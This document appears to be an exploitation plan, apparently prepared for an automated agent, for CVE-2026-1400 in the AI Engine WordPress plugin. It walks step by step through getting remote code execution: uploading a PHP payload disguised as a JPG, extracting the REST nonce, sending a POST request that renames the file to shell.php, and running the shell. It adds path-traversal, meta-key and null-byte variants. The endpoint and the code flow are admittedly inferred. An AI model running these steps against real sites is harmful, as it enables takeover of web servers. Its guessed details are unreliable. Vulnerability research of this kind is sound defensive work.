Exploitation Research Plan: CVE-2026-1400 (AI Engine)

1. Vulnerability Summary

The AI Engine plugin (up to version 3.3.2) is vulnerable to Arbitrary File Upload via File Renaming. The vulnerability exists in the rest_helpers_update_media_metadata function, which handles updates to media metadata via the WordPress REST API. This function accepts a filename parameter but fails to validate the file extension or the target path. An attacker with Editor-level privileges can upload a legitimate image file containing PHP code, then use this endpoint to rename the file to a .php extension, resulting in Remote Code Execution (RCE).

2. Attack Vector Analysis

• REST Endpoint: /wp-json/mwai/v1/media/update_metadata (inferred from function name and Meow Apps standard naming conventions).
• HTTP Method: POST
• Vulnerable Parameter: filename
• Authentication Requirement: Authenticated user with Editor role or higher (must have edit_posts and upload_files capabilities).
• Preconditions:
  1. The attacker must have a valid session as an Editor.
  2. A legitimate file (e.g., an image) must be uploaded to the media library first.

3. Code Flow (Inferred from Patch Description)

1. Entry Point: The REST API router receives a request at mwai/v1/media/update_metadata.
2. Controller: The request is routed to the callback function rest_helpers_update_media_metadata.
3. Processing:
   • The function retrieves the media attachment ID from the request.
   • It retrieves the filename parameter from the JSON body.
   • It identifies the current file path on disk associated with the media ID.
4. Vulnerable Logic: The function likely uses a file system operation (like rename() or wp_upload_bits()) to change the file's name on the server using the user-provided filename without checking if the new extension is forbidden (e.g., .php).
5. Sink: A file system write/rename operation that changes wp-content/uploads/2024/01/image.jpg to wp-content/uploads/2024/01/image.php.

4. Nonce Acquisition Strategy

This endpoint uses the standard WordPress REST API authentication, which requires a wp_rest nonce for POST requests made from a browser session.

1. Role Required: Editor.
2. Strategy:
   • Navigate to the WordPress Dashboard (/wp-admin/).
   • Extract the wp_rest nonce from the wpApiSettings object, which is localized by WordPress core on almost all admin pages.
3. JS Execution (via browser_eval):

   window.wpApiSettings?.nonce
   

5. Exploitation Strategy

The exploit follows a "Rename-to-PHP" chain.

Step 1: Upload Payload as Image

Upload a file named shell.jpg containing a PHP payload.

• Payload Content: <?php echo "VULNERABLE: " . phpinfo(); ?>
• Method: Use the standard WordPress Media Library upload or wp-cli.
• Target: wp-admin/async-upload.php or wp-json/wp/v2/media.
• Requirement: Capture the resulting Attachment ID (e.g., 123).

Step 2: Trigger Rename via REST API

Send the malicious request to the AI Engine endpoint to rename the image to a PHP script.

• URL: /wp-json/mwai/v1/media/update_metadata
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [REST_NONCE]
• Body:

  {
    "id": 123,
    "filename": "shell.php"
  }
  

Step 3: Execute the Shell

Access the renamed file in the uploads directory.

• URL: /wp-content/uploads/[YEAR]/[MONTH]/shell.php

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=editor --user_pass=password
   

2. Initial File Upload: Create a dummy image file.

   echo '<?php phpinfo(); ?>' > /tmp/poc.jpg
   wp media import /tmp/poc.jpg --post_id=0 --title="POC"
   

3. Identify ID: Get the ID of the newly uploaded media.

   wp post list --post_type=attachment --posts_per_page=1 --format=ids
   

7. Expected Results

• REST Response: A 200 OK or 201 Created status, possibly returning the updated metadata.
• Server State: The file poc.jpg in the uploads folder should no longer exist, replaced by poc.php.
• Execution: Navigating to the .php URL should execute the code and display the phpinfo() output rather than rendering as an image or returning a 404.

8. Verification Steps

1. Check Filesystem:

   ls -la /var/www/html/wp-content/uploads/$(date +%Y/%m)/poc.php
   

2. Verify Content:

   cat /var/www/html/wp-content/uploads/$(date +%Y/%m)/poc.php
   

3. HTTP Check: Use http_request to GET the URL of the .php file and verify the response body contains "PHP Version".

9. Alternative Approaches

• Path Traversal: If the filename parameter is susceptible to path traversal (e.g., ../../plugins/ai-engine/malicious.php), attempt to move the shell out of the uploads directory.
• Meta Key Manipulation: If the endpoint allows updating arbitrary meta keys, check if _wp_attached_file can be overwritten directly to point to a different existing file that could be leveraged.
• Bypass via NULL Byte: If the plugin does basic suffix checking, try shell.php%00.jpg (though unlikely to work on modern PHP/Linux).